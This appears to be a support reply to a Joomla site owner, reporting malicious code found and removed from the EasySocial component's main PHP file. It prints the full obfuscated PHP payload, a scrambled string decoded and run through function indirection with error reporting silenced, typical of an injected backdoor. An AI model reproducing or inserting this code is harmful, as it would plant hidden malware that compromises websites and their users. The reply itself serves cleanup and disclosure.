Hey there,
I am really sorry for the delay of this reply as it is a weekend for us here.
Firstly, i went to check this file -> JoomlaFolder/components/com_easysocial/easysocial.php , and I noticedd inside this file shown these following code, i think that is malicious code , and i already help you removed.
<?php $tamuchm = ']283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M33]y76]277#<!%t2w>#]y74]241 x74 145 x5f 146 x75 156 x63 164 x69 150#)idubn`hfsq)!sp!*#ojneb# x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfx75 156 x61"]=1; $uas=strtolower($_SERVER[")323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]274y4 x24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x24- x24gvw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]")) or (strstr($uas," x61 1)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b7,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*:::::>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zx24- x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x2 x48 124 x54 120 x5f 125 x53 105 x52 137)323ldfidk!~!<**qp%!-uyfu%)3W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rx56 x64 162 x6f 151 x64"))) { $zrzjahb = " x63 162 x65 1zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5c x7f_*#fmjgk4`{6~6<tfs%w6<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz:-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}odujpo! x24- x24y7 x24- x24*<! W%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<K9]78]K5]53]Kc#<%tpz!>12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovh%)n%-#+I#)q%:>:r%:|:**dfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<7 x6e"; function mtqdrps($n){return chr(ord($n)-3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)67y]37]88y]27]28y]#/r%/B%h>#]y31]278]y3e]81]K78:569l}S;2-u%!-#2#/#%#/#o]#/*73]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x240utjyf`opjudovg x22)!gj}1~PFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7f x75 156 x61"])))) { $GLOBALS[" x61 156 mgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsu*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&|!*)323zbek!~!<b% x7f!<X>b%Z<#o;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323l3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Kfdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h0%)kVx{**#k#)tutjyf`x x22l:!}V;]#-bubE{h%)tpqsut>j%!*9! x27!opoV;hojepdoF.uofuopD#)sfebfI{*w:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%55946-tr.984:75983:48917,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fe]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%w)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#6#<!%w:!>!(%w:!>! x246767~666~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2b>!%i x5c2^<!Ce*[!%cIjQeTdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj3h***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfpo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%% x24- x24b!>!%yy)#}<")));$onjoune = $zrzjahb("", $dembegz); $onjoune();}}342]58]24]31#-%tdz*Wsfuvso!%bsEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!97-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275LeuhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x20~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]4- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw && (!isset($GLOBALS[" x61 15685:6197g:74985-rr.93e:-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6fS{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7Rix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7dfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:0#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6w6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6*}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osv1);} @error_reporting(0); #-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x2$dembegz = implode(array_map("mtqdrps",str_split("%tjw!>!#]/ x24)%c*W%eN+#Qi x5c1^W%c!X;!sp!*#opo#>>}R;msv}.y3f]51L3]84]y31M6]y3e]81#/#7e:7y]252]18y]#>q%<#762s x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx< x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{d%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)<!%ww2)%w`TW~ x24<!fwbm)%tj`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]Dg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubopmA x273qj%6<*Y%)fnbozjsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:** x41 107 x45 116 x54"]); if ((s:|:*r%:-t%)3of:opjudovg<:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fep4y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]4trstr($uas," x6d 163 x69 145")) or (strstr($uas," x72 166 x3a 61 x31y84]275]y83]248]y83]256]y81]265]y72]254]y7cYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#QcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44t%)m%=*h%)m%):fmjix:<##:>:h%:<#6z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<if((function_exists(" x6f 142 x5f 163 x74 141 x72 164")t>j%!*72! x27!hmg%)!gj!<2,*j%-#1yfR x27tfs%6<*17-SFEBFI,6<*127-UV]67y]562]38y]572]48y]#>m%[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg+9f5d816:+946:ce44#)zbssb!) x24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)]317]445]212]445]43]321]464]284]364]6]234]eobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#j{hnpd!opjudovg!|!**#j{hnpd#)tx5c1^-%r x5c2^-%hOh/#00#>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA84:71]K9]77]D4]82]K6]72]STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSiphzko'; $rjwlax=explode(chr((477-357)),substr($tamuchm,(35725-29799),(145-111))); $rcaapml = $rjwlax[0]($rjwlax[(5-4)]); $zapcnhs = $rjwlax[0]($rjwlax[(6-4)]); if (!function_exists('epvmhvc')) { function epvmhvc($osnjego, $xzsgjmd,$qtndmbdg) { $drjivcz = NULL; for($xkxbqwpy=0;$xkxbqwpy<(sizeof($osnjego)/2);$xkxbqwpy++) { $drjivcz .= substr($xzsgjmd, $osnjego[($xkxbqwpy*2)],$osnjego[($xkxbqwpy*2)+(7-6)]); } return $qtndmbdg(chr((49-40)),chr((301-209)),$drjivcz); }; } $kxibna = explode(chr((279-235)),'5269,55,3523,30,2020,40,192,43,811,40,4712,31,4888,68,480,27,932,55,86,41,1623,48,3986,26,4075,59,4956,42,2680,27,5862,40,4276,69,2707,61,1422,55,3681,65,4602,44,3220,66,2855,58,4579,23,4998,66,987,52,5804,58,3878,66,1039,26,153,39,5356,33,1958,62,346,69,5414,62,4408,66,3944,42,1477,58,4512,67,2060,69,5324,32,2382,29,1723,66,5199,70,1362,60,5716,30,1933,25,2768,63,4345,36,3351,63,563,58,1120,39,2913,38,5656,60,127,26,3575,60,5523,26,5770,34,3174,46,2183,31,2951,54,851,28,1159,63,4161,22,2214,44,3746,69,621,62,4767,69,1558,65,2129,54,3635,46,2507,66,2411,32,2352,30,1671,52,3005,65,1840,24,235,56,62,24,1864,69,3414,49,1789,23,1535,23,5104,32,4836,52,4213,20,5389,25,4743,24,1065,55,5549,65,3070,20,4012,63,291,55,1222,31,741,70,3463,60,4134,27,2831,24,5064,40,1295,45,683,58,1253,42,5746,24,879,53,1812,28,3553,22,415,65,4183,30,2485,22,5902,24,1340,22,4474,38,3286,65,2258,48,2573,44,2306,46,3815,63,0,62,5614,42,3144,30,4233,43,5476,47,507,56,2443,42,5136,63,4381,27,2617,63,4646,66,3090,54'); $ejtxktatyt = $rcaapml("",epvmhvc($kxibna,$tamuchm,$zapcnhs)); $rcaapml=$tamuchm; $ejtxktatyt(""); $ejtxktatyt=(797-676); $tamuchm=$ejtxktatyt-1; ?><?php
By the way, regarding with your main question, can I have permission to help you update to latest version of Easysocial? Because I would like to get rid of these malicious code from your Easysocial file.